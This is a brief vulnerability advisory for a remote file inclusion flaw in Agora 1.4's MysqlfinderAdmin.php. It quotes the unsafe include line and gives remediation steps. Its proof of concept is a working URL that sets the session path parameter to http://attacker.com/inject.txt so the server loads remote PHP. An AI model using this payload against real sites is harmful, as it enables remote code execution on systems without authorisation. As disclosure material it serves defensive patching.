Vulnerability:
|
|
~~~~~~~~~~~~~~
|
|
|
|
I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
|
|
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
|
|
....
|
|
<?
|
|
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
|
|
...
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
|
|
|
|
Proof Of Concept:
|
|
~~~~~~~~~~~~~~~
|
|
|
|
http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?
|
|
|
|
|
|
Solution:
|
|
~~~~~~~
|
|
|
|
- Insert new line code :
|
|
...
|
|
include_once 'MysqlfinderParam.inc';
|
|
...
|
|
|
|
Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
|
|
|
|
- Turn off register_globals
|
|
- Turn off display_error to Hide Full Path Error
